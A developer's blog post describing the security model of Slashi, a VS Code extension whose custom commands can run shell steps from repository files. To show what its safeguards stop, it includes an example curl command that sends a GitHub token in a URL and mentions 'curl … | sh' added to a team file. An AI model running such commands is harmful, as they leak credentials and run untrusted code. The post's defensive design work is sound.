Slashi, the VS Code extension I maintain, lets you chain steps into your own commands: save all files, run the tests, commit, push. The useful part is that a team can commit those commands to the repo in .vscode/slashi.json, and everyone who opens the project gets them.
The dangerous part is the same sentence. A repository you cloned five minutes ago is a stranger's code. If its commands can run shell steps the moment you press a key, cloning a repo becomes the attack.
Here's the trust model, in the order I learned I needed each piece. Code is from Slashi 0.6.0 (October 2026).
What a shared command looks like
// .vscode/slashi.json
{
"commands": [
{
"name": "ship",
"args": "commit message",
"steps": [
{ "command": "workbench.action.files.saveAll" },
{ "slash": "/test" },
{ "terminal": "git add -A && git commit -m ${q:args} && git push" }
]
}
]
}
Typing /ship fix login redirect runs all three steps. Commands like this can come from three places: your own user settings, the workspace (a team file or .vscode/settings.json), or an action pack you installed from a registry. Only the first is unconditionally yours.
Rule 1: untrusted workspaces get nothing
VS Code already has Workspace Trust: when you open a folder, you can open it in Restricted Mode. Extensions declare how they behave there in package.json:
"capabilities": {
"untrustedWorkspaces": {
"supported": "limited",
"description": "In untrusted workspaces Slashi ignores workspace-defined custom commands (settings and .vscode/slashi.json).",
"restrictedConfigurations": ["slashi.customCommands"]
}
}
restrictedConfigurations makes VS Code ignore the workspace value of that setting in Restricted Mode. The team file isn't a setting, so it needs its own check: Slashi only reads .vscode/slashi.json when vscode.workspace.isTrusted is true.
This is the cheap rule, and it's not enough. Most people click "Trust" on every folder, because Restricted Mode turns off a lot of things they want.
Rule 2: shared commands ask before steps that can do damage
So a trusted workspace still doesn't get to run anything silently. Steps are split into two groups. Inserting text, showing a notification, asking for input or waiting can't hurt you. Five types can, and need approval:
const APPROVAL_STEPS = new Set(['terminal', 'slash', 'command', 'setting', 'open']);
slash and command are on the list because they run other commands, which can run anything. setting is there because settings control what runs: a terminal profile, a tool path, a task's shell. open can open a URL.
The first time a team or pack command with any of these steps runs, Slashi shows a modal listing them in plain words ("Terminal: git add -A && git commit…", "Set editor.fontSize = 18"), with Run and Always Allow.
Rule 3: "Always Allow" expires when the command changes
Storing "always allow /ship" by name would leave a hole: you approve a harmless /ship today, someone edits the team file tomorrow to add curl … | sh, and your approval still stands.
So the approval is a fingerprint of the steps themselves:
const key = `slashi.approved.${source}.${def.name}`;
const fingerprint = JSON.stringify(def.steps);
if (state.get<string>(key) === fingerprint) return true;
// …otherwise show the modal; "Always Allow" stores the new fingerprint
Any change to any step, even whitespace inside a string, asks again. Team approvals are stored per workspace; pack approvals globally.
Rule 4, the one I almost missed: variables can leak what the prompt doesn't show
Commands can use variables: ${selection}, ${file}, ${args}, and also ${env:NAME}, ${config:some.setting} and ${clipboard}.
The approval modal shows the step as written: Terminal: curl https://example.com/?t=${env:GITHUB_TOKEN}. A careful reader would catch that one. But the same thing hides well inside a longer command, and ${clipboard} can hold a password you just copied.
So in commands from a team file or a pack, those three only expand in steps that stay inside the editor:
export function sharedVariableAllowed(step: StepDef, name: string): boolean {
if (!name.startsWith('env:') && !name.startsWith('config:') && name !== 'clipboard') return true;
const kind = stepType(step);
return kind === 'insert' || kind === 'notify';
}
Inserting ${env:USER} into a TODO comment still works. Sending it to a terminal, a URL or a setting expands to an empty string. Your own commands in user settings have no such limit.
A related detail: when a terminal step fails, the error message shows the step unexpanded. Expanded values would end up in VS Code's notification history and logs.
Rule 5: quote what you put in a shell
${args} is whatever the user typed, and ${selection} is whatever is selected in the editor, so both are untrusted strings on their way into a shell. The ${q:name} form quotes them for the current shell:
export function shellQuote(value: string, shell: 'posix' | 'powershell' | 'cmd' = 'posix'): string {
if (shell === 'powershell') return `'${value.replace(/'/g, "''")}'`;
// A newline would end the cmd command even inside quotes.
if (shell === 'cmd') return `"${value.replace(/"/g, '""').replace(/[\r\n]/g, ' ')}"`;
if (/^[A-Za-z0-9_@%+=:,./-]+$/.test(value)) return value;
return `'${value.replace(/'/g, `'\\''`)}'`;
}
The cmd line came out of an audit, and it's the one I wouldn't have guessed: in cmd.exe, a newline ends the command even inside double quotes, so a multi-line selection could start a second command.
Rule 6: settings a repo must never control
Some settings decide where your data goes: the AI provider, its base URL, custom instructions, the "confirm before running" switch, the pack registries. These are declared with "scope": "machine", which means only your user settings can set them. A repository's .vscode/settings.json can't point your API key at its own server.
What this still doesn't protect against
- Your own approval. If you click Always Allow on a step you didn't read, it runs. The modal can only make the steps readable.
- Extensions you install. Commands registered by another extension run with that extension's permissions, which you granted by installing it. Slashi treats them like your own.
-
${selection}and${file}. These still expand in shared terminal steps, because commands like "run this file" need them. Quoting stops injection, but a shared command can still send the selected text somewhere you approved. - Packs over the network. Packs are fetched over HTTPS and checked against their registry listing, but a registry you add yourself is trusted as much as you trust it.
Takeaway
If your tool runs anything defined in a repository, the four moves that mattered most for me were: honor Workspace Trust, ask before steps that can reach a shell, tie approval to the exact steps rather than the name, and don't let secrets ride along in variables the prompt doesn't show.
I'm the author of Slashi. It's free and MIT-licensed: Marketplace · Open VSX · GitHub. The full security model is in SECURITY.md.
Top comments (0)